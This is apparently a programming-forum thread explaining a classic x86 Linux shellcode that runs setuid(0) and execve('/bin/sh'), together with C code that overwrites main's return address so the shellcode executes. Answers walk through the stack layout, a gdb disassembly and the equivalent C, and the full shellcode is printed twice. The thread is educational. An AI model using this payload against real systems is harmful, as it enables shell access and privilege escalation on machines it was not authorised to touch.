can anyone explain this code to me?
WARNING: This is an exploit. Do not execute this code.
//shellcode.c
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\开发者_如何学JAVAxb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
can anyone give me a better explanation ?
Apparently, this code attempts to change the stack so that when the main
function returns, program execution does not return regularly into the runtime library (which would normally terminate the program), but would jump instead into the code saved in the shellcode
array.
1) int *ret;
defines a variable on the stack, just beneath the main
function's arguments.
2) ret = (int *)&ret + 2;
lets the ret
variable point to a int *
that is placed two int
s above ret
on the stack. Supposedly that's where the return address is located where the program will continue when main
returns.
2) (*ret) = (int)shellcode;
The return address is set to the address of the shellcode
array's contents, so that shellcode
's contents will be executed when main
returns.
shellcode
seemingly contains machine instructions that possibly do a system call to launch /bin/sh
. I could be wrong on this as I didn't actually disassemble shellcode
.
P.S.: This code is machine- and compiler-dependent and will possibly not work on all platforms.
Reply to your second question:
and what happens if I use ret=(int)&ret +2 and why did we add 2? why not 3 or 4??? and I think that int is 4 bytes so 2 will be 8bytes no?
ret
is declared as an int*
, therefore assigning an int
(such as (int)&ret
) to it would be an error. As to why 2 is added and not any other number: apparently because this code assumes that the return address will lie at that location on the stack. Consider the following:
This code assumes that the call stack grows downward when something is pushed on it (as it indeed does e.g. with Intel processors). That is the reason why a number is added and not subtracted: the return address lies at a higher memory address than automatic (local) variables (such as
ret
).From what I remember from my Intel assembly days, a C function is often called like this: First, all arguments are pushed onto the stack in reverse order (right to left). Then, the function is called. The return address is thus pushed on the stack. Then, a new stack frame is set up, which includes pushing the
ebp
register onto the stack. Then, local variables are set up on the stack beneath all that has been pushed onto it up to this point.
Now I assume the following stack layout for your program:
+-------------------------+
| function arguments | |
| (e.g. argv, argc) | | (note: the stack
+-------------------------+ <-- ss:esp + 12 | grows downward!)
| return address | |
+-------------------------+ <-- ss:esp + 8 V
| saved ebp register |
+-------------------------+ <-- ss:esp + 4 / ss:ebp - 0 (see code below)
| local variable (ret) |
+-------------------------+ <-- ss:esp + 0 / ss:ebp - 4
At the bottom lies ret
(which is a 32-bit integer). Above it is the saved ebp
register (which is also 32 bits wide). Above that is the 32-bit return address. (Above that would be main
's arguments -- argc
and argv
-- but these aren't important here.) When the function executes, the stack pointer points at ret
. The return address lies 64 bits "above" ret
, which corresponds to the + 2
in
ret = (int*)&ret + 2;
It is + 2
because ret
is a int*
, and an int
is 32 bit, therefore adding 2 means setting it to a memory location 2 × 32 bits (=64 bits) above (int*)&ret
... which would be the return address' location, if all the assumptions in the above paragraph are correct.
Excursion: Let me demonstrate in Intel assembly language how a C function might be called (if I remember correctly -- I'm no guru on this topic so I might be wrong):
// first, push all function arguments on the stack in reverse order:
push argv
push argc
// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call main
// (afterwards: clean up stack by removing the function arguments, e.g.:)
add esp, 8
Inside main, the following might happen:
// create a new stack frame and make room for local variables:
push ebp
mov ebp, esp
sub esp, 4
// access return address:
mov edi, ss:[ebp+4]
// access argument 'argc'
mov eax, ss:[ebp+8]
// access argument 'argv'
mov ebx, ss:[ebp+12]
// access local variable 'ret'
mov edx, ss:[ebp-4]
...
// restore stack frame and return to caller (by popping the return address)
mov esp, ebp
pop ebp
retf
See also: Description of the procedure call sequence in C for another explanation of this topic.
The actual shellcode is:
(gdb) x /25i &shellcode
0x804a040 <shellcode>: xor %eax,%eax
0x804a042 <shellcode+2>: xor %ebx,%ebx
0x804a044 <shellcode+4>: mov $0x17,%al
0x804a046 <shellcode+6>: int $0x80
0x804a048 <shellcode+8>: jmp 0x804a069 <shellcode+41>
0x804a04a <shellcode+10>: pop %esi
0x804a04b <shellcode+11>: mov %esi,0x8(%esi)
0x804a04e <shellcode+14>: xor %eax,%eax
0x804a050 <shellcode+16>: mov %al,0x7(%esi)
0x804a053 <shellcode+19>: mov %eax,0xc(%esi)
0x804a056 <shellcode+22>: mov $0xb,%al
0x804a058 <shellcode+24>: mov %esi,%ebx
0x804a05a <shellcode+26>: lea 0x8(%esi),%ecx
0x804a05d <shellcode+29>: lea 0xc(%esi),%edx
0x804a060 <shellcode+32>: int $0x80
0x804a062 <shellcode+34>: xor %ebx,%ebx
0x804a064 <shellcode+36>: mov %ebx,%eax
0x804a066 <shellcode+38>: inc %eax
0x804a067 <shellcode+39>: int $0x80
0x804a069 <shellcode+41>: call 0x804a04a <shellcode+10>
0x804a06e <shellcode+46>: das
0x804a06f <shellcode+47>: bound %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>: das
0x804a073 <shellcode+51>: jae 0x804a0dd
0x804a075 <shellcode+53>: add %al,(%eax)
This corresponds to roughly
setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
That string is from an old document on buffer overflows, and will execute /bin/sh. Since it's malicious code (well, when paired with a buffer exploit) - you should really include it's origin next time.
From that same document, how to code stack based exploits :
/* the shellcode is hex for: */
#include <stdio.h>
main() {
char *name[2];
name[0] = "sh";
name[1] = NULL;
execve("/bin/sh",name,NULL);
}
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
The code you included causes the contents of shellcode[] to be executed, running execve, and providing access to the shell. And the term Shellcode? From Wikipedia :
In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine. Shellcode is commonly written in machine code, but any piece of code that performs a similar task can be called shellcode.
Without looking up all the actual opcodes to confirm, the shellcode
array contains the machine code necessary to exec /bin/sh
. This shellcode is machine code carefully constructed to perform the desired operation on a specific target platform and not to contain any null
bytes.
The code in main()
is changing the return address and the flow of execution in order to cause the program to spawn a shell by having the instructions in the shellcode
array executed.
See Smashing The Stack For Fun And Profit for a description on how shellcode such as this can be created and how it might be used.
The string contains a series of bytes represented in hexadecimal.
The bytes encode a series of instructions for a particular processor on a particular platform — hopefully, yours. (Edit: if it's malware, hopefully not yours!)
The variable is defined just to get a handle to the stack. A bookmark, if you will. Then pointer arithmetic is used, again platform-dependent, to manipulate the state of the program to cause the processor to jump to and execute the bytes in the string.
Each \xXX is a hexadecimal number. One, two or three of such numbers together form an op-code (google for it). Together it forms assembly which can be executed by the machine more or less directly. And this code tries to execute the shellcode.
I think the shellcode tries to spawn a shell.
This is just spawn /bin/sh
, for example in C like execve("/bin/sh", NULL, NULL);
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